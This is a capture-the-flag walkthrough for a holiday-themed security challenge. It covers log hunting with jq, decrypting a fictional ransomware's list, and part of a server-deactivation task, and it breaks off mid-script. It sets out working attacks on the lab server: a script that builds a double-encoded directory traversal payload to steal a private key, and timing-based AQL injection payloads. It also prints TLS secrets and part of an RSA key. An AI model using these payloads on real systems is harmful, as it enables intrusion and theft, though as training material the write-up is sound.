cat log*.log | grep -i 'nutcrakr' | cut -d '-' -f 7- | jq -c '. | select ( .EventID == 5140)| {EventTime, Hostname, SubjectUserName, ObjectType, ShareName, ShareInformation_ShareName, ShareInformation_SharePath}'| head -1 | jq .
{
"EventTime": "2024-09-16 11:18:43",
"Hostname": "dc01.northpole.local",
"SubjectUserName": "nutcrakr",
"ObjectType": "File",
"ShareName": "\\\\*\\WishLists",
"ShareInformation_ShareName": "\\\\*\\WishLists",
"ShareInformation_SharePath": "\\??\\C:\\WishLists"
}
Answer: WishLists
Question 18: The naughty attacker continued to use their privileged account to execute a PowerShell script to gain domain administrative privileges. What is the password for the account the attacker used in their attack payload?
Search for log files which indicate a script
is being run. Then filter the results.
cat log*.log | grep -i 'nutcrakr' | grep -i 'script' | cut -d '-' -f 7- | jq -r '. | select (.ScriptBlockText != null) | .ScriptBlockText'
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Domain Admins,CN=Users,DC=northpole,DC=local"
$username = "nutcrakr"
$pswd = 'fR0s3nF1@k3_s'
< Truncated for Brevity >
Answer: fR0s3nF1@k3_s
Question 19: The attacker then used remote desktop to remotely access one of our domain computers. What is the full ISO8601 compliant UTC EventTime when they established this connection?
Event IDs of 4624 with a LogonType of 10 indicate RDP connections. Convert the time to be ISO8601 compliant.
cat log*.log | grep -i 'EventID": 4624' | cut -d '-' -f 7- | jq -c '.| select (.LogonType == 10) | { WorkstationName, TargetUserName, TargetDomainName, EventTime, EventReceivedTime} '
{"WorkstationName":"DC01","TargetUserName":"nutcrakr","TargetDomainName":"NORTHPOLE","EventTime":"2024-09-16 11:35:57","EventReceivedTime":"2024-09-16T11:35:57-04:00"}
Answer: 2024-09-16T15:35:57.000Z
Question 20: The attacker is trying to create their own naughty and nice list! What is the full file path they created using their remote desktop connection?
Knowing from a previous question the attempt to access the WishList
share, we can assume to dig into logs with that value. The very last entry has a mention of editing a file in notepad.
cat log*.log | grep -i 'DC01' | grep -i 'wishlist' | cut -d '-' -f 7- | jq -r '.| select (.CommandLine != null)| .CommandLine'
"C:\Windows\system32\NOTEPAD.EXE" C:\WishLists\santadms_only\its_my_fakelst.txt
Answer: C:\WishLists\santadms_only\its_my_fakelst.txt
Question 21: The Wombley faction has user accounts in our environment. How many unique Wombley faction users sent an email message within the domain?
Look at the Mail Proxy logs, filter down to who sent an e-mail, and from the northpole.local
domain. There were 4 accounts which had wcub
in the name, aka a shortened version of Wombley Cube's full name.
cat log*.log | grep -i 'SnowGlowMailPxy' | cut -d '-' -f 7- | jq -r '.From' | sort | uniq | grep 'northpole.local'
< Truncated for brevity>
wcub101@northpole.local
wcub303@northpole.local
wcub808@northpole.local
wcube311@northpole.local
Answer: 4
Question 22: The Alabaster faction also has some user accounts in our environment. How many emails were sent by the Alabaster users to the Wombley faction users?
Looking at the full list from the previous command, there were asnowball
accounts as well. Use some jq
filtering with Alabaster as the sender, and Wombley is the recipient.
cat log*.log | grep -i 'SnowGlowMailPxy' | cut -d '-' -f 7- | jq -c '. | select (.To == "wcub101@northpole.local" or .To == "wcub303@northpole.local" or .To == "wcub808@northpole.local" or .To == "wcube311@northpole.local")' | jq '.From| select(contains("asnowball"))' | wc -l
22
Answer: 22
Question 23: Of all the reindeer, there are only nine. What's the full domain for the one whose nose does glow and shine? To help you narrow your search, search the events in the 'SnowGlowMailPxy' event source.
cat log*.log | grep -i 'SnowGlowMailPxy' | grep -i 'rudolph' | cut -d '-' -f 7- | jq -r '.From'
< Truncated for Brevity>
RudolphRunner@rud01ph.glow
Answer: rud01ph.glow
Question 24: With a fiery tail seen once in great years, what's the domain for the reindeer who flies without fears? To help you narrow your search, search the events in the 'SnowGlowMailPxy' event source.
Continuing with that logic, remove rudolph
from the query, and extract all of the e-mail addresses of someone who sent an e-mail, and then extract the unique domain names. Look for one of the reindeer names.
cat log*.log | grep -i 'SnowGlowMailPxy' | cut -d '-' -f 7- | jq -r '.From' | sort | uniq | grep -v 'northpole.local' | cut -d '@' -f 2 | sort | uniq
bells.ring
blizzard.north
c0m3t.halleys
< Truncated for Brevity>
Answer: c0m3t.halleys
Objective Complete!
GLORRYYY! Both levels of ElfStack have been vanquished. We learned how to use the Elastic Stack, or searching through log files using the command line when ELK failed to do it's job 😄. Doing so helped us understand more about the Frostbit ransomware which spread across the network. Hopefully this aids us in our future objectives.
Objective Takeaways
The ElfStack objective gave us some experience using docker
compose, as well as with the ELK stack, and analyzing log files. We used ES|QL, Elastic Queriers, and some command line kung fu to understand the activity of how the ransomware got a foothold and propogated on the network.
Objective: Decrypt the Naughty-Nice List
There are no silver level objectives for this objective, or the Deactivate objective which follows. The intent being these are the penultimate and ultimate challenges of the CTF, and thereby intended to only be done once.
The objective states: Decrypt the Frostbit-encrypted Naughty-Nice list and submit the first and last name of the child at number 440 in the Naughty-Nice list.
Download the Artifacts
Talk to Tangle Coolbox on Wombley's side of the DMZ (right hand side of the game). He's standing next to a Rasberry Pi. Connect to it, read the introduction, scroll down and select Generate & Download Artifacts. Wait a few minutes for the ZIP file to generate and download. This will generate a zip file- specific to your account to solve the Decrypt and Deactivate challenges. As a result, you'll need to tailor the solution provided below to your specific artifacts.
Hint from a Previous Objective
While it's generating, let's briefly review a hint from some of the previous challenges which will be useful. From the SantaVision Objective, it there was a message sent in the frostbitfeed
.
The message references a private key for a Let's Encrypt certificate, located at /etc/nginx/certs/api.frostbit.api.key
. This might be the private key we need to decrypt some information in the future. But for now, we'll make note of the absolute file path of the certificate.
Additionally, there's a note referencing a URI structure of /api/v1/frostbitadmin/bot/<botuuid>/deactivate
and an invalid API Key:
ZIP File Contents
Unzip the file contents. There are 5 files within the zipped folder.
frostbit_core_dump.13
- The file might have a different number appended to it, but its a memory dump of a system which had the ransomware installed. We'll predominantly be analyzing this file.ransomware_traffic.pcap
- a packet capture of the web traffic between the computer and the ransomware server. It appears if the traffic is encrypted. Perhaps we can decrypt it to find some useful information. 🤔naughty_nice_list.csv.frostbit
- the encrypted CSV file we need to decrypt, and find the 440th file.frostbit.elf
- the binary file used to ransomware the system. It will not in fact encrypt/ransomware your computer, but could be used in an alternative method to help solve the objective. However, not something leveraged to solve the challenge in this walkthrough.DoNotAlterOrDeleteMe.frostbit.json
- a JSON file, which appears to include an array with the values ofdigest
,status
, andstatusid
.
We'll focus on the core dump for now.
Enumerating the Core Dump
The frostbit_core_dump
file can be analyzed using strings
. Firstly, I used a combination of strings
and less
to briefly look at the contents, and get a general feel of words and phrases to revist. Additionally, I found it helpful to filer out strings shorter than 6 bytes (-n 6
).
Below are some useful contents of the core dump, in no particular order.
TLS Secrets
It appears to be the contents of an encryption log file. Perhaps pertaining to the previously mentioned packet capture.
strings frostbit_core_dump.13 | grep SECRET
CLIENT_HANDSHAKE_TRAFFIC_SECRET 68b2284713fe0581c691c9cece86fbdd0e29aa1a8649a5198a57d406188933d6 0930109d719a21251624325528f72a026dcbef0e9870dd0e13bb6f9b26f74b0b
SERVER_HANDSHAKE_TRAFFIC_SECRET 68b2284713fe0581c691c9cece86fbdd0e29aa1a8649a5198a57d406188933d6 d65b475125d14c9b4d3bb40ca06a94fd55c60d300c7b00a054316ea9babcd0a1
CLIENT_TRAFFIC_SECRET_0 68b2284713fe0581c691c9cece86fbdd0e29aa1a8649a5198a57d406188933d6 45def59e364afbbb04b042d6138583ded8731
0710674f204fb77192dcd94593c
SERVER_TRAFFIC_SECRET_0 68b2284713fe0581c691c9cece86fbdd0e29aa1a8649a5198a57d406188933d6 ca2b3841ff22a9b482a9b29588d2817b26a0f
7eb66b31d5cd3cdb21f407ca6fd
References to Website
Grepping for https
or frostbit.app
(taken from the key name found in the MQTT message), shows a few possible websites to visit.
strings frostbit_core_dump.13 | grep https
https://api.frostbit.app/view/S4Sv50fsfPwIyQ/e542cd81-fa30-4d32-8603-7a15a7003b89/status?digest=00a20002944040a9440605310a060533
https://api.frostbit.app/view/S4Sv50fsfPwIyQ/e542cd81-fa30-4d32-8603-7a15a7003b89/status?digest=00a20002944040a9440605310a060533
https://api.frostbit.app/api/v1/bot/e542cd81-fa30-4d32-8603-7a15a7003b89/session
https://api.frostbit.app/api/v1/bot/e542cd81-fa30-4d32-8603-7a15a7003b89/keyit
Since we're dealing with websites, be sure to turn on your favorite proxy (Burp/ZAP) before you proceed and route all web traffic for the frostbit.app
website through. We'll need it for later portions of both challenges, so it helps for documentation purposes to have it on from the very beginning.
The /keyit
URI doesn't appear to be immediately useful. However, visiting the /session
URI returns a nonce value. Lastly, visiting the /status
URI with the necessary digest
parameter value, returns a ransomware note!
There's a countdown, and a note explaining Wombley's evil intentions.
Enumerating the Ransomware Note
Source Code debugData
Reference
We can dig further into the ransomware note, by inspecting the page source of /status
. The very beginning of the javascript mentions a "debug" functionality.
<script>
// Default values with placeholders for data passed from the server-side Python script
const isExpired = false;
const expiryTime = 1734998400;
const uuid = "f15b11de-c727-4d70-b68c-d300b37e0150";
const debugData = false;
const deactivated = false;
const decryptedkey = false;
// Decode base64 debug data if it's not "false"
let decodedDebugData = null;
if (debugData) {
try {
decodedDebugData = atob(debugData);
} catch (e) {
console.error('Error decoding debug data: ', e, debugData);
decodedDebugData = "Error decoding debug data. " + e + " " + debugData;
}
}
Additionally, there was a hint referencing that the ransomware had "dev mode" still enabled. Since the javascript includes an if statement to check if debugData=true
, attempt to pass a paramater to the website to trigger dev mode. It may take a few attempts, but the correct parameter/value is debug=true
(or debug=1
). Be sure to append it to the original URL with an &debug=true
. Doing so, will return a slightly larger web page, with a Debug Data header, and debug data:
{"uuid": "f15b11de-c727-4d70-b68c-d300b37e0150", "nonce": "REDACTED", "encryptedkey": "REDACTED", "deactivated": false, "etime": 1734998400}
Website Syntax
Assessing the entire URI of the ransomware note: /view/tKkASjlN72EUkPZJiCHZ/f15b11de-c727-4d70-b68c-d300b37e0150/status?digest=1808549020d08084000050000361100c
, the values look like some of the information in the DoNotAlterOrDeleteMe.frostbit.json
file (digest
, and statusid
.). Additionally, grepping for this value f15b11de-c727-4d70-b68c-d300b37e0150
in the URI, returns references to RID
, as well as follow the API endpoint syntax /api/v1/bot
which we saw previously in the SantaVision note, which called it the botuuid
. The debug data also included a uuid
parameter.
Putting it all together, it appears the ransomware URL is: https://api.frostbit.app/view/<statusID>/<botUUID>/status?digest=<digestvalue>
. We can infer the botUUID
is a unique identifier to our network which has been encrypted
Three Important Error Messages
Sing with ME! "On the third day of Holiday Hack Challenge, the ransomware website gave to me, Three important error messages!!!!!"
Yeah, not well known... but maybe one day. Poor jokes aside, now that we have a debugging capability we can poke at the website a bit more to see if we can elicit any weird responses from the web server.
Going back to the URL structure - https://api.frostbit.app/view/<statusID>/<botUUID>/status?digest=<digestvalue>
- we as the user can control (i.e. change) all of those values to alter the response from the server. We'll avoid playing with the UUID value, given our previous assumptions. This leave to play around with the digestvalue
and the statusID
. Manually fuzzing those parameter values yields three separate error messages, which both provide insight into the web application functionality, and further enumeration steps.
Error Message #1 - Library Reference & Parameter Link
Firstly, by appending any alpha-numeric character to the digest value - such as changing digest=1808549020d08084000050000361100c
to digest=1808549020d08084000050000361100cd
- yields this error:
{"debug":true,"error":"Status Id File Digest Validation Error: Traceback (most recent call last):\n File \"/app/frostbit/ransomware/static/FrostBiteHashlib.py\", line 55, in validate\n decoded_bytes = binascii.unhexlify(hex_string)\nbinascii.Error: Odd-length string\n"}
This error message provides 2 important bits of insight:
- The digest value is dependent upon the value of the Status ID
- The server is using a library called
FrostBiteHashlib.py
located in the/app/frostbit/ransomware/static
directory.
Fuzzing the digest value by replacing a character with a non-hexidecimal value (i.e. digest=1808549020d08084000050000361100z
) would also yield an error message referencing the library, as well. However, it would not indicate the connection between the digest and status ID.
Navigating to https://api.frostbit.app/static/FrostBiteHashlib.py will download a file! We'll analyze that file in a bit.
Error Message #2 - Status ID Abstract File Reference
Fuzzing the statusID
and adding/replacing any alpha-numeric character yields the following error message:
{"debug":true,"error":"Status Id File Not Found"}
This message indicates that the statusID is in fact an obfuscated reference to a file - presumably located on the server. An important insight, which would allow us to enumerate for a possible local file inclusion vulnerability within the application. However, we would need to enumerate further to validate that assumption.
Error Message #3 - Invalid Status ID or Digest
Now that we know the correlation between statusID
and a local file, attempting to fuzz the statusID
with a directory traversal value, such as ../../../../../etc/passwd
will yield varying results, depending upon how the data is encoded prior to sending to the server. Encoding the special characters once, will yield a HTTP 400 Bad Request
error, indicating an nginx server - possibly a reverse proxy. Double encoding the value, however, yields yet another error message:
{"debug":true,"error:"Invalid Status Id or Digest"}
Since the error message has changed from File Not Found
to an Invalid Status ID or Digest
we can assume the server is Linux based, and directory traversal is possible with a double encoded directory traversal. We can further validate these assumptions by looking for a file that is extremely unlikely to exist on the system, such as /etc/zentester
, and the previous File Not Found
error returns.
One other important bit of information to extract is the minimum number of directories which need to be escaped in order to get to the root directory, /
. This can be done by reducing the number of directory escapes (../)
- as %252E%252E%252F
literals - included in the StatusID
. Doing so, we will find that we need a minimum of 4 directory escapes to reach the root directory.
But to summarize to this point, we've found a way to enumerate local files on the server. If only there were a way to possibly calculate that digest hash value...
FrostbiteHashlib.py
Taking a detour from analyzing the error messages - let's revisit the FrostbiteHashlib.py file. Specifically lines 14 - 31, with the compute_hash
function. Below is the code with comments added:
def _compute_hash(self) -> bytes:
hash_result = bytearray(self.hash_length)
count = 0
# Process file bytes
for i in range(len(self.file_bytes)):
# for each byte, the byte is xor'd with a nonce_byte
xrd = self.file_bytes[i] ^ self.nonce_bytes[i % self.nonce_bytes_length]
# result is then xor'd again with the current value in hash_result
hash_result[count % self.hash_length] = hash_result[count % self.hash_length] ^ xrd
count += 1
# Process filename bytes
garbled = ""
for i in range(len(self.filename_bytes)):
# keep count stays within bounds of hash_result
count_mod = count % self.hash_length
# and keep count cyclically over the filename_bytes
count_filename_mod = count % self.filename_bytes_length
# and count is used cyclically over nonce_bytes
count_nonce_mod = count % self.nonce_bytes_length
# current byte from filename bytes is XOR'd with current byte from nonce_bytes
garbled += (chr(self.filename_bytes[count_filename_mod]))
xrd = self.filename_bytes[count_filename_mod] ^ self.nonce_bytes[count_nonce_mod]
# result of XOR is combined with bitwise &
hash_result[count_mod] = hash_result[count_mod] & xrd
count += 1
It appears to create a hash based on iterating through the file contents, and then the filename. For both, it computes an XOR and then a bitwise AND operation between the file contents/name and the nonce.
Side Quest in Maths
For those unfamiliar, who didn't click on the previous XOR and AND operator links, a brief review on the math functions.
The result in each position is 1 if only one of the bits is 1, but will be 0 if both are 0 or both are 1. For visual learners - bitwise XOR function in binary ( [First Value] ^ [Second Value] = [Result]
)
First Value | Second Value | Result |
---|---|---|
1 | 1 | 0 |
1 | 0 | 1 |
0 | 1 | 1 |
0 | 0 | 1 |
In regards to bitwise AND Operations - if both values are 1, then the result is 1, otherwise the result is 0. Again, displayed in a graph ([First Value] & [Second Value] = [Result]
):
First Value | Second Value | Result |
---|---|---|
1 | 1 | 1 |
1 | 0 | 0 |
0 | 1 | 0 |
0 | 0 | 0 |
Connecting the Dots...
We have a user controlled input value, statusID
, which can be used to retrieve local files on the server, if the parameter value passed with digest
is set appropriately. We know the value uses the FrostBiteHashlib.py
given the previous error messages. We also know the hash value is generated by performing an XOR of the file contents/filename and the nonce value, and then an AND operator of that result and the existing hash value. It repeats over the 16 bytes of the hash, for the entirety of the file contents, and then the filename.
Therefore, using the hint from the SantaVision objective, a particular file of interest is the /etc/nginx/certs/api.frostbit.api.key
. This perhaps might be the private key needed to decrypt the naught nice list. Since we are unsure of the size of the file, we would need to gerate a hash value that is 00000000000000000000000000000000
, by passing in the appropriate filename. We know the filename must contain at least 4 directory traversals, and the full path to the key, /etc/nginx/certs/api.frostbit.api.key
.
The easiest way to achieve a zero digest
value would be to include the nonce value in the file path, and in the appropriate location, so it will perform a 1^1=0
XOR operation, which will guarantee a 0 after the AND operation. Additionally, from fuzzing the status ID, we can assume URI is being processed by a reverse proxy (also mentioned in one of the hints), which will require being extra careful in crafting our payload.
Scripting a File Path
Since we've connected the dots, we should be able to use the library we have downloaded locally, to test our path provided. The goal of the script will be:
- Provide a file path in the script which has a minimum of 5 directory escapes, and the absolute path of the private key.
- We need a minimum of 5 directory escapes, from the minimum of 4 needed to get to the root directory, plus 1 more, as we will also include the
nonce
value two times in the file path. - The nonce is repeated twice, since the nonce value is only 8 bytes long, but the hash value is 16 bytes long. Therefore, by having the nonce value equal itself for a full 16 bytes will guarantee a 0 digest value for all future iterations of the AND operation of the hash and the XOR result.
- Given the need to double encode the statusID to return the error message of the file existing on the system, we can assume the server is using a reverse proxy to process the user input. We will URL encode the nonce value once, while the full directory traversal will be double encoded.
- Another constraint identified during testing was if the length of the status ID input into the URL was 245 characters or longer, a
statusID Too Long
error would return.
Now that we have all the constraints, we can develop a function to test the creation of the digest hash. The goal of the function is to manually test various filename lengths which would still appropriately navigate to the api.frostbit.app.key
file, while also placing the the twice repeated nonce in the proper location to match with the server's provided nonce value, triggering a generation of a 00
digest value for 16 bytes.
The placement of our 2x nonce can be adjusted using two main values:
- An additional directory escape, i.e. more than the originally determined 5 - to move the nonce 3 bytes
- A single byte value by providing a individual character, before the nonce. Alternatively, a forward slash could be used, repeated within a directory escape. I actually found the need for using both.
From here, I've found by testing a few times with different nonces, and in talking with others who completed the challenge, that the payload will vary and be 100% dependent on your generated content.
For testing purposes, I found it helpful to print the bytes which were being XOR'd during the compute_hash
function. This could be entered in between the count_nonce_mod
and xrd
variable declarations, like so:
< -- Previous lines of _compute_hash function truncated for brevity -->
count_nonce_mod = count % self.nonce_bytes_length
# current byte from filename bytes is XOR'd with current byte from nonce_bytes
print(f"Comparing {chr(self.filename_bytes[count_filename_mod])} to {chr(self.nonce_bytes[count_nonce_mod])}")
xrd = self.filename_bytes[count_filename_mod] ^ self.nonce_bytes[count_nonce_mod]
< -- truncated for brevity -->
The test_frostbyte128()
function is below. I just added the function within the original FrostBiteHashlib.py
file, and called the function after creation.
The function sets up a "dummy file" of a random filesize. The file_length
can be manually adjusted after validating a 0
digest value, to ensure that a different file size didn't impact the hashing of the filename. I manually added my specific nonce value as well.
The filename_bytes
was the payload of the directory traversal, including the nonce. I double encode the payload, to ensure the payload length would be short enough to be processed by the server.
Lastly, the Frostbyte128
class is instantiated with my variables, and the hash is calculated and saved within hex_result
. Then all of the important values are printed - the hex_result
to ensure the digest value will return a 0
digest, the unencoded directory traversal, and the double encoded payload, which can be passed into the URL. Below is the code, including my final payload after many rounds of trial and error.
# Define a test function
def test_frostbyte128():
# Setup Dummy File
file_length = 3209
file_bytes = b"c" * file_length4
nonce_bytes = binascii.unhexlify("510f1ccb54b9cbc7")
# create filename string and eventual payload
filename_bytes = b"AAAA" + nonce_bytes*2 + b"/../../../////../../" + b"etc/nginx/certs/api.frostbit.app.key"
double_encoded = urllib.parse.quote(urllib.parse.quote(filename_bytes, safe="").replace(".","%2E"), safe="")
if (len(double_encoded) > 244):
print("[ ERROR ] - Payload too large! Will not be processed by server.")
frostbyte = Frostbyte128(file_bytes, filename_bytes, nonce_bytes)
hex_result = frostbyte.hexdigest()
print(f"Hex Digest: {hex_result}")
print(f"Original : {filename_bytes}")
print(f"Double encoded: {double_encoded}")
test_frostbyte128()
It's important to note, the very first 0
digest value I discovered, didn't work on the server. So it may require some trial and error, and discovering of multiple methods to generate a 0
digest which would be appropriately processed by the server.
Extract the Private Key!
If the payload is encoded appropriately, the server should return the ransomware message, beneath which, should be the private key!
Inspecting the result in a proxy would look like the following:
Take the value provided in debugData
- either via Burp, or Developer Tools - as the private key provided in the web page is improperly formatted. Base64 decode the result into a file on your system.
echo -n 'MIIJKAI...truncated4brevity...LS0tLS0K' | base64 -d > privatekey.pem
❯ head privatekey.pem
-----BEGIN RSA PRIVATE KEY-----
MIIJKAIBAAKCAgEAplg5eKDvk9f+gsWWZUtpFr80ojTZabm4Rty0Lorwtq5VJd37
8GgAmwxIFoddudP+xMNz9u5lRFExqDWoK2TxKbyiGTOKV9IlpZULFyfV9//i8vq4
ew7H9Ts7duNh4geHNysfWqdrVebTRZ6AeCAeJ2cZuVP4briai0XDq2KUd/sc7kgQ
xXGgw0t/FqiDglpSF1PFxPvUzJwcJNQhIYQCxRCwHkHqVSnToZcnjJjhgVyXsTNy
5pOLBWqg5nSnXrwl8JfGkUHN/Twbb829rIMT550ZxO8KYH4q/kV3cwVcSYfEYvMJ
JoeQFCgHiuL5EuxAUbO6KZgTnRWhWQmotTQb+fCj8siljg8dIdwxB690LvZYpvv4
yPLYgqCf9PzzgrZPvlJ+XkInJ3s/+DOL0VbCgTHP0gbpO7kdjiTOBS1Jp+FtbCG+
6omvwSg/cELNnsDCs6F1x33iR7tumeQySwNPWNGt6pOHmyGfHYL2Rxhj5S5nCXqx
GCx2q2mH8l4AL5bbzVVxEEa++Fgnd9r24SSC3bvlNVT0CDfBdoKzTuO8RONB4WKN
Decrypting the Packet Capture
Included in the file artifacts is a ransomware_traffic.pcap
file. The contents of which are encrypted. Grep for SECRET
within the coredump, and save the contents to a file.
strings frostbit_core_dump.13 | grep SECRET > pcap_decrypt
Add the client and server secrets to the packet capture file. Navigate to Edit --> Preferences --> Procotols --> TLS, and click Browse under the (Pre)-Master-Secret Log Filename, and navigate to the pcap_decrypt
file saved. Click OK to save the changes. Close and reopen the packet capture to display the decrypted contents. Click on one of the HTTP packets, and right click to select Follow --> HTTP Stream.
One of the server responses includes and encrypted_key
and nonce
.
POST /api/v1/bot/e542cd81-fa30-4d32-8603-7a15a7003b89/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip
{"encryptedkey":"3514fcc07a4881b2711a41814ebe25fec0d44da871117e06dd7ddef304d9aae98d7c31b95d3de898c8759c40401ee40d292b4130adbc40bb5ed0c50ed5e9af8abb24d770cee9b7a8c2d1ac2a8c00d68d48aec25422616de8028f82fed09d10393d5fa1d285395f6f296b0a7b5935fe09d6e805e5fde547a1f47b67c5941f55859cdddf36f45e5da9f10d23cf7a1462288b9bed892ad397e89657c13113a54b4ee57603c85104947995f0ac3a1d7871ca0f2179db2d8cbd19f99a2456c801a56529edfdf6d11194183b69d07495c7763b15d9f034c09bf32420852ab0f0a35f3be2dd75b1f14d9dd38df1eb20475852c3f3b0570008529ea7d7762e08130884317f15d0d260bdf4ea955841ba91f5ff83b511c8dd0655f351979e41707caa3c86e4e411e2b1e8c74a53776317e46e4763c3dc18491cafd494906ddd5be960bdeb9a25ec871f602782f8f2c710d3053caa6cc473d49732c1b428eb47e409cc2c01417039fc9f2b077d40e7fd86e235531a5eb186ac35d1b5a206a6929f21a141d263e60f1f53b169efeab6dcc9bbf5cd0c1bb53bb22aa4caae99c4d09f024188174d9af36fbdb934a13b94a6b530eb3cb113c9f2d2bedd0a5077d7a590eb7645f0b9f844b017e9ac0466010c9a8e9e077e1221862bc049f93fae90dfed6677f92985fcba1d8de0125fd698b6361c4e577e21d1fa0589e05fe2697fa04c3f764898","nonce":"76a2564baf3709c0"}
Take the encrypted_key
value, which also is found within the core dump (strings frostbit_coredump.13 | grep key
), and place it into CyberChef, to decrypt, using the privatekey.pem
private key. Be sure to specify a encryption scheme of RSAES-PKCS1-V1 5
. Paste the private_key.pem
in as the RSA Private Key (PEM) value. The output is: 9e5c6556e8aa963063c33e7af1c9650e,510f1ccb54b9cbc7
, which look like key
and IV
values, respectively.
Decrypting the Naughty Nice List
Using another CyberChef recipe, use the private key and IV to decrypt the Naughty Nice List - the naughty_nice_list.csv.frostbit
file provided in the intial artifacts. Specify the key and IV as e5c6556e8aa963063c33e7af1c9650e
and 510f1ccb54b9cbc7
respectively, a mode of CBC/NoPadding, and both an Input and Output of Raw. For the input, use the Open File as Input button, and navigate to the encrypted CSV file. Once the file loads, the recipe should automatically apply, and the decrypted contents of the file should display!
Scroll down to the very bottom of the file, to display the 440th person on the Naughty Nice List, as requested within the Objective question.
GLORRYYYYYYY!
Answer: Xena Xtreme
Objective Takeaways
The Decrypting the Naughty Nice List objective was a big challenge! We had to analyze the ransomware artifacts to understand it's functionality. Once discovering the ransomware note, we were able to analyze the website hosting the note, and discover a few vulnerabilities with the web application. There were some publicly available artifacts, which allowed us to understand how the ransomeware both "encrypted" files, and validated local files on the server. We identified a directory traversal vulnerability, and abused the hashing functions to extract the private key used to encrypt the Naughty Nice list.
Objective: Deactivate Frostbit Naughty-Nice List Publication
This objective was completed by the author after completing the Decrypt objective. Therefore, there will be references to information and enumeration steps from the previous objective. It was not required to complete the Decrypt challenge in order to solve Deactivate. However, if doing Deactivate first, there may be additional enumeration steps needed to proceed within the challenge. These steps can be found within the Decrypt objective.
The objective states:
Wombley's ransomware server is threatening to publish the Naughty-Nice list. Find a way to deactivate the publication of the Naughty-Nice list by the ransomware server.
We'll use the same artifacts generated by the Decrypt objective we've just completed.
Prior Challenge Hints
Within the SantaVision challenge, another one of the MQTT messages within the frostbitfeed
appeared to be the syntax needed to deactivate the ransomware.
Debug to Identify a Database
It provides the URI. Attempting to use the URI, using a Proxy such as Burp, returns an Invalid Request
error message.
Attempting to fuzz the request further, by adding an X-Api-Key
header with a common SQL injection value, and adding the debug=true
(found from the previous objective), returned a specific error.
GET /api/v1/frostbitadmin/bot/f15b11de-c727-4d70-b68c-d300b37e0150/deactivate?debug=true HTTP/2
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
X-Api-Key: %20or%20'a'%3d'a'
Content-Type: application/json
Accept-Encoding: gzip
The error message, which appears to be an ArangoDB error message.
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n <other_query_lines_omitted>\n RETURN doc"}
The error message indicates:
- The server takes the user supplied
X-Api-Key
value, and uses it in an ArangoDB lookup - We do not know the name of the column, the query is filtered using, as it is redacted within the error.
- The query looks at the
config
collection of documents. - We do not know if there are any additional columns or filters used within the query
Enumerating User Input Filtering
The server appears to be filtering the user input prior to processing the request. Various error messages indicated filtering of some special characters, as well as certain ArangoDB keywords. Testing was completed by using Burp Intruder to append the ArangoDB keyword to the previous GET request. The following keywords were identified as invalid:
FOR
RETURN
FILTER
INSERT
UPDATE
WITH
So we will need to use a SQL Injection which does NOT include these keywords.
METHOD Not Allowed
The /deactivate
URI was enumerated for all of the possible HTTP Methods/Verbs that the server might allow. It appears to block all methods except for GET
.
Analyzing a Path Forward
The error message indicates:
- The server takes the user supplied
X-Api-Key
value, and uses it in an ArangoDB lookup. - We do not know the name of the column, the query is filtered using, as it is redacted within the error.
- The query looks at the
config
collection of documents. - We do not know if there are any additional columns or filters used within the query, as other lines within the query were emitted.
The path forward would appear to be finding a way to enumerate first the key names of the JSON object within the config
doucment, and then subsequently use those columns to enumerate for the X-Api-Key
value.
Logic for Enumerating the Database
Understanding what keywords, and certain special characters which are blocked, we can begin to refine our methods used to enumerate the database. A common SQLi practice is to chain multiple logical - or in our DB-specific case FILTER
conditions together, using single- or double-quotes to close the pre-defined filter. The generic syntax we will use is ' OR A==A AND B==B AND '1=='1
, for the following reasons:
'
- First single quote is used to close the currently unknownX-Api-Key
document keyOR
- A logicalOR
statement, since the remainder of the logic are a sequence ofAND
statements, each of those values must betrue
in order for the entireFILTER
statement to be valid.A==A AND B==B
- Two separate conditions, both which will need to be true. We will use two separate values/need two conditions, which will be explained shortly.'1'=='1
- The values inside the quotes are less relevant, so much as they match. The closing quote is missing from the second1
value intentionally, as we will use the close quote that's in the pre-defined query. During testing for user input, it was determined that ArangoDB comments were filtered, and not allowed to be passed to the server.
Power Napping FTW
Using some of that logic, we can test to see if the database will process a SLEEP
command - a common technique used in blind-based SQLi. Sure enough, adding the command delays the return time for the server response.
Comparing the server response time in the bottom right-hand corner of a SQL injection request without SLEEP
included:
To a request with SLEEP(2)
:
Further Refining our AQL Queries
We have a path forward to enumerate the database document key names, and eventually the values of those keys using a timing-based SQL Injection attack. However, prior to proceeding, we must further refine the ArangoDB syntax used within our FILTER
logic.
There are many AQL String functions available to enumerate the key values. We will assume we would want to enumerate all upper- and lower-case ASCII characters, numbers, and special characters. The special characters included were not filtered in our testing, and may be common space delimeters for key names.
Two likely string function candidates are the LIKE
function and SUBSTRING
function. However, further analysis of the AQL Documentation reveals that the LIKE
String function treats underscore as wildcard values. Sure, the value could be escaped using some additional logic in our eventual code, but that's more tedious than necessary. Instead we'll proceed with enumerating the database using the SUBSTRING
function.
Additionally, key values can be enumerated using the ATTRIBUTES()
document function, which returns an array of the keys.
To enumerate the keys, the logic used will be:
' OR SUBSTRING(ATTRIBUTES(doc)[<attribute_index>], <position>, 1) == '<character>` AND sleep(1) AND '1'=='1
ATTRIBUTES(doc)[<attribute_index>]
- iterates though each of the keys in thedoc
document, the name of which we retrieved from a previous server error message.SUBSTRING(..., <position>, 1) == <character>'
- Takes the specific key retrieved from the previous function, and uses theSUBSTRING
function to check if the Nth value - represented as<position>
, matches the character value of<character>
.AND sleep(1) AND '1'=='1
- follows the same logic as our previous commands, shortening the sleep time, to speed up the query we reduce the sleep time from 2 seconds to 1 second. If the previousATTRIBUTES()
function returns astrue
, the sleep will trigger.
To enumerate the string values of those attributes/keys, the logic will be slightly different.
' OR SUBSTRING(doc.<attribute>, <position>, 1) == '<character>' AND sleep(1) AND '1'=='1
SUBSTRING(doc.<attribute>, <position>,1) == '<character>'
- similar to the previousSUBSTRING
logic, but instead of iterating through the keys, we iterate through each character of each attribute/key, and find the appropriate<character>
.AND sleep(1) AND '1'=='1
- this portion of the logic is identical to the previous.
Scripting a Solution
To script a solution we'll use the various payloads with some additional logic. As a refresher, we'll:
- Be enumerating all allowed special characters, numbers, and lower- and upper-case ASCII characters.
- Issue a
GET
